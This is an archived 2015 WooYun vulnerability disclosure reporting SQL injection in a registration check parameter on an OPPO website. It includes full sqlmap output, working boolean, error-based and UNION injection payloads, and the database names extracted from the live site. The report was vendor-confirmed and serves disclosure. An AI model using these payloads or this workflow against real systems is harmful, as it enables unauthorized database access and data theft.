当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-091978

漏洞标题:OPPO某站点sql注入#3

相关厂商:广东欧珀移动通讯有限公司

漏洞作者: #6c6c6c

提交时间:2015-01-16 12:12

修复时间:2015-03-02 12:14

公开时间:2015-03-02 12:14

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-16: 细节已通知厂商并且等待厂商处理中
2015-01-20: 厂商已经确认,细节仅向厂商公开
2015-01-30: 细节向核心白帽子及相关领域专家公开
2015-02-09: 细节向普通白帽子公开
2015-02-19: 细节向实习白帽子公开
2015-03-02: 细节向公众公开

简要描述:

sql

详细说明:

注入地址:http://www.oppobd.com/club_register.php?act=check_username&username=
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 07:22:11
[07:22:11] [INFO] using 'F:\桌面\渗透工具\sqlmap GUI汉化版\rar\output\www.oppobd
.com\session' as session file
[07:22:11] [INFO] testing connection to the target url
sqlmap got a 301 redirect to 'http://www.oppodigital.com.cn/club_register.php'.
Do you want to follow? [Y/n] y
[07:22:13] [INFO] heuristics detected web page charset 'ascii'
[07:22:13] [INFO] testing if the url is stable, wait a few seconds
[07:22:14] [WARNING] GET parameter 'act' appears to be not dynamic
[07:22:15] [WARNING] heuristic test shows that GET parameter 'act' might not be
injectable
[07:22:15] [INFO] testing sql injection on GET parameter 'act'
[07:22:15] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[07:22:17] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[07:22:18] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[07:22:40] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[07:22:42] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[07:22:43] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[07:22:44] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[07:22:45] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[07:22:46] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[07:22:48] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[07:22:49] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[07:22:50] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[07:22:51] [INFO] testing 'Oracle AND time-based blind'
[07:22:53] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[07:23:16] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[07:23:16] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[07:23:31] [WARNING] GET parameter 'act' is not injectable
[07:23:31] [WARNING] GET parameter 'username' appears to be not dynamic
[07:23:31] [INFO] heuristic test shows that GET parameter 'username' might be in
jectable (possible DBMS: MySQL)
[07:23:31] [INFO] testing sql injection on GET parameter 'username'
[07:23:31] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[07:23:36] [INFO] GET parameter 'username' is 'AND boolean-based blind - WHERE o
r HAVING clause' injectable
[07:23:36] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[07:23:36] [INFO] GET parameter 'username' is 'MySQL >= 5.0 AND error-based - WH
ERE or HAVING clause' injectable
[07:23:36] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[07:23:36] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[07:23:41] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[07:23:41] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[07:23:42] [INFO] target url appears to have 1 columns in query
[07:23:42] [INFO] GET parameter 'username' is 'MySQL UNION query (NULL) - 1 to 1
0 columns' injectable
GET parameter 'username' is vulnerable. Do you want to keep testing the others (
if any)? [y/N] y
sqlmap identified the following injection points with a total of 162 HTTP(s) req
uests:
---
Place: GET
Parameter: username
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: act=check_username&username=' AND 5642=5642 AND 'JQPt'='JQPt
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: act=check_username&username=' AND (SELECT 1107 FROM(SELECT COUNT(*)
,CONCAT(0x3a6d62693a,(SELECT (CASE WHEN (1107=1107) THEN 1 ELSE 0 END)),0x3a7462
6d3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND
'XvxY'='XvxY
Type: UNION query
Title: MySQL UNION query (NULL) - 1 column
Payload: act=check_username&username=-9233' UNION SELECT CONCAT(0x3a6d62693a
,0x766d7950544968586850,0x3a74626d3a)# AND 'HpXz'='HpXz
---
[07:23:52] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.5
back-end DBMS: MySQL 5.0
[07:23:53] [INFO] fetching database names
[07:23:53] [INFO] the SQL query used returns 4 entries
[07:23:53] [INFO] retrieved: "information_schema"
[07:23:53] [INFO] retrieved: "ecshop"
[07:23:53] [INFO] retrieved: "oppo_store"
[07:23:53] [INFO] retrieved: "romeo"
available databases [4]:
[*] ecshop
[*] information_schema
[*] oppo_store
[*] romeo
[07:23:54] [INFO] Fetched data logged to text files under 'F:\桌面\渗透工具\sqlm
ap GUI汉化版\rar\output\www.oppobd.com'
[*] shutting down at 07:23:54

漏洞证明:

修复方案:

sql语句过滤下

版权声明:转载请注明来源 #6c6c6c@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:3

确认时间:2015-01-20 16:33

厂商回复:

thx!

最新状态:

暂无


漏洞评价:

评论